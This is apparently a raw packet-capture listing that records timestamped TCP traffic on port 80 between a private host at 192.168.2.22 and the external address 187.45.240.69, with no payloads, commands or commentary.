Aug 16, 2022 11:53:38.601887941 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.601943970 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602009058 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602068901 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602097034 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602149963 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602159977 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602184057 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602212906 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602236032 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602240086 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602296114 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602355003 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602407932 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602473974 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602499962 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602534056 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602551937 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602597952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602623940 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602654934 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602675915 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602767944 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602796078 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602827072 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602881908 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.602932930 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.602968931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603022099 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603053093 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603106976 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603107929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603158951 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603188992 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603241920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603286982 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603341103 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603394032 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603456974 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603508949 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603563070 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603564024 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603617907 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603624105 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603677988 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603739023 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603792906 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603818893 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.603888988 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.603960037 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.604023933 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.610889912 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.674669981 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.821855068 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.821944952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822000027 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822011948 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822062969 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822076082 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822120905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822129965 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822195053 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822240114 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822257996 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822299957 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822320938 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822371960 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822384119 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822432995 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822516918 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822566986 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822618961 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822654963 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822662115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822711945 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.822731972 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.822770119 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.825146914 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.829674959 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.829710007 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.829818964 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.837690115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.837709904 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.837810993 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.837886095 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.837984085 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838007927 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838022947 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838023901 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838035107 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838047028 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838063955 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838188887 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838207006 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838236094 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838254929 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838323116 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838367939 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838417053 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838454008 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838493109 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838534117 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838610888 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838665962 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838691950 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838704109 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838745117 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838802099 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.838864088 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.838902950 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.839035988 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.839078903 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.845535040 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.845575094 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.845637083 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.845645905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.845681906 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.845685959 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.845716953 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.845753908 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.845840931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.845891953 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.845916986 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.845961094 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.845962048 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.846039057 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.846039057 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.846111059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.846827030 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.847126007 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.847130060 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.847167969 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.848354101 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.848423004 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.848742008 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.848794937 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.848915100 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.848942995 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.848968983 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.848990917 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.848997116 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.849011898 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.849028111 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.849036932 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.849071026 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.061764002 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.061803102 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.061830997 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.062345028 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.063076019 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.063102961 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.063256979 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.069628000 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.069745064 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.069792986 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.069819927 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.069896936 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070044994 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070075035 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070116043 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.070137024 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.070144892 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.070168972 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070246935 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070336103 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070372105 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.070409060 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.070421934 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070449114 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.070508957 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.070518017 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.071496010 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.072501898 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.077553034 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.077629089 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.077665091 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.077692986 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.077694893 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.077754021 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.077868938 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.077923059 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.077980995 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.077981949 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.078114986 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.078177929 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.078283072 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.078336954 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.078392029 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.078403950 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.078444004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.078445911 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.078496933 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.078551054 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.085681915 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.085753918 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.085803986 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.085853100 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.085856915 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.085875034 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.085999012 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.086004972 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086060047 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.086062908 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086114883 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086163998 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.086165905 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086216927 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.086291075 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086343050 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086359024 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.086391926 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.086462975 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086520910 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.086589098 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.086664915 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.093626976 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.093704939 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.093755960 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.093806982 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.093861103 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.093875885 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.093935013 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.093936920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.093945026 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.093992949 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.094049931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.094105959 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.094106913 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.094153881 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.094196081 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.094247103 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.094252110 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.094300032 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.309724092 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.309772015 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.309806108 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.309844971 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.309952974 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310003996 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310030937 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310034990 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310065985 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310137033 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310154915 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310199022 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310254097 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310370922 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310404062 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310425043 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310451031 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310487986 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310520887 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310535908 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310564041 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310697079 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310728073 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310770035 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310775042 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310791016 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310821056 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.310873985 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.310920954 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.311026096 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.317616940 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.317687035 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.317766905 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.317828894 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.317868948 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.317903996 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.317914009 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.317934036 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.317982912 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318028927 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318031073 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.318070889 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.318196058 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318237066 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318284035 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.318389893 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318434954 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.318437099 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318501949 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.318573952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318629980 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318677902 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.318682909 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.318726063 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.318957090 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.319006920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.325761080 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.325822115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.325861931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.325881958 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.325901031 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.325961113 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.325972080 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.325975895 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326024055 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326088905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326114893 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326165915 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326225996 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326267004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326303959 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326313019 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326314926 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326368093 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326395988 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326440096 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326461077 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326483011 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.326575041 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.326632977 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.331497908 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.333687067 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.333774090 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.333800077 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.333820105 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.333875895 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.333890915 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.333951950 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.334069014 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.334111929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.334144115 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.334151030 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.334157944 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.334224939 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.334292889 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.334336042 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.334352970 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.334373951 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.334393024 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.334413052 CEST	80	49201	187.45.240.69	192.168.2.22
